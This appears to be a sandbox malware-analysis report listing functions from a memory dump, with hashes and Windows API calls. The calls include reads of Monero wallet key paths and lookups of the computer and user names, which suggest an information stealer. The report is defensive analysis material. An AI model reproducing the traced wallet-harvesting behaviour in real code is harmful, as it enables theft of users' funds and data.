Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID:
API String ID: 3073930149-0
Opcode ID: 30a9fe6ef60ae91219c89f5eb1365323955273c1cf202dd98f824809a9d74d69
Instruction ID: 0bfb218d57f77b2454b20fcaaa2349cd4aafa9a2b84b6e32308f57c739569ef7
Opcode Fuzzy Hash: 30a9fe6ef60ae91219c89f5eb1365323955273c1cf202dd98f824809a9d74d69
Instruction Fuzzy Hash: CBE1E1728101289BCB15FBA0EC92DEE73B8AF55301F404599F50BB21A1EF746A58CB66

Function 00B1AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

lstrlen.KERNEL32(00000000), ref: 00B1AFEA
lstrlen.KERNEL32(00000000), ref: 00B1AFFE

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 8c16e95a534bfc63ac02886aac941413f2c4c8cd1e302837790073696cfbefe0
Instruction ID: 8a36dfd3bd3759262512c24c76edab0d85ae1830e0cf47cdfbd9c15e6515fc61
Opcode Fuzzy Hash: 8c16e95a534bfc63ac02886aac941413f2c4c8cd1e302837790073696cfbefe0
Instruction Fuzzy Hash: 9A9143729101289BCF04FBA4EC96DEE73B8AF55300F4045A9F50BB2191EF746A58CB72

Function 00B1B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

lstrlen.KERNEL32(00000000), ref: 00B1B2AE
lstrlen.KERNEL32(00000000), ref: 00B1B2C2

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c8c6e12a63e2dcc909ae61d31fe7121848236d94cfc67d588780810984bdc704
Instruction ID: ebaddaa36d89839ef15ad2fe0a8a8fb592e62d33a982886633e643b775d0424c
Opcode Fuzzy Hash: c8c6e12a63e2dcc909ae61d31fe7121848236d94cfc67d588780810984bdc704
Instruction Fuzzy Hash: 527112729201289BCF04FBA4EC96DEE73B8BF55301F404598F50BB6191EF746A58CB62

Function 00B166B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00B16756
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00B167A3

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0c42f3cba518896ae581decbf8a1da20e2d49b3c207fc369ad690566e9e5738e
Instruction ID: 5b63af795e2d6f194f683f7d5ddbbd8324ba1e4e942206fc5b8f61f5ebc40ddf
Opcode Fuzzy Hash: 0c42f3cba518896ae581decbf8a1da20e2d49b3c207fc369ad690566e9e5738e
Instruction Fuzzy Hash: 9741A874A00209EFCB44CF58C494BEDBBB1FB44315F6486A9E9499B385D731AE81CB84

Function 00B24B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

lstrcat.KERNEL32(?,00000000), ref: 00B24B6A
lstrcat.KERNEL32(?,0074E200), ref: 00B24B88

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B2440C
Part of subcall function 00B243F0: FindFirstFileA.KERNEL32(?,?), ref: 00B24423

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 6dcc382776ceff1574972054d27731b8f99de0072247f04dd4a5b7fa0eb703b1
Instruction ID: a029b02a48ca632986e4025fb6a6820f3238b31cfb87038362e907090687e867
Opcode Fuzzy Hash: 6dcc382776ceff1574972054d27731b8f99de0072247f04dd4a5b7fa0eb703b1
Instruction Fuzzy Hash: 1401847691021867CB18FB60EC47EDA777C9B64700F4045D4B64996291EEB4AAC88FB1

Function 00B110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00B110B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00B110F7

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 797dabbfdadb85b66cfeaba2d9f2d1b497a74caac8f3d45f772620854c661972
Instruction ID: 4bcd4ad145c67a8ee3815d5aae908c25fb265bd8bef5ca26f1698fd4ddeac145
Opcode Fuzzy Hash: 797dabbfdadb85b66cfeaba2d9f2d1b497a74caac8f3d45f772620854c661972
Instruction Fuzzy Hash: F7F0E971A41314BBE71497A8AC49FAEB7D8D709B45F300884F604E3380D5719E008A60

Function 00B28830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00B11B94,?,?,00B3554C,?,?,00B30E07), ref: 00B2883F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 082e23327c02c12d3ad392879c6820996e8961bae7fd09a3080a5847b6a1d07c
Instruction ID: 1033026412d9f012dabd0c33fe527740f1e6c70072c27997b14dd4fcc1cb52be
Opcode Fuzzy Hash: 082e23327c02c12d3ad392879c6820996e8961bae7fd09a3080a5847b6a1d07c
Instruction Fuzzy Hash: 43F01C70C0121CEFCB04EF94E44969CBBB5EB04310F5081D9D829AB281EB745B55CB81

Function 00B28880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 12de2acf55123e7825e7b11baad3df297e1bf10e54a90721226da1bc8eb7bed8
Instruction ID: 531346cdca65c2f34d6f659222198bfb805795d6254df2354d7f762d24f3470b
Opcode Fuzzy Hash: 12de2acf55123e7825e7b11baad3df297e1bf10e54a90721226da1bc8eb7bed8
Instruction Fuzzy Hash: 8CE01231E4035C6BDB55EB50DC96FDD776C9B44B11F004294BA0C5B1C0DE70AB458B91

Function 00B11190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B27380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B273B0
Part of subcall function 00B27380: RtlAllocateHeap.NTDLL(00000000), ref: 00B273B7
Part of subcall function 00B27380: GetComputerNameA.KERNEL32(?,00000104), ref: 00B273CF

Part of subcall function 00B272F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B111B7), ref: 00B27320
Part of subcall function 00B272F0: RtlAllocateHeap.NTDLL(00000000), ref: 00B27327
Part of subcall function 00B272F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B2733F

ExitProcess.KERNEL32 ref: 00B111C6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
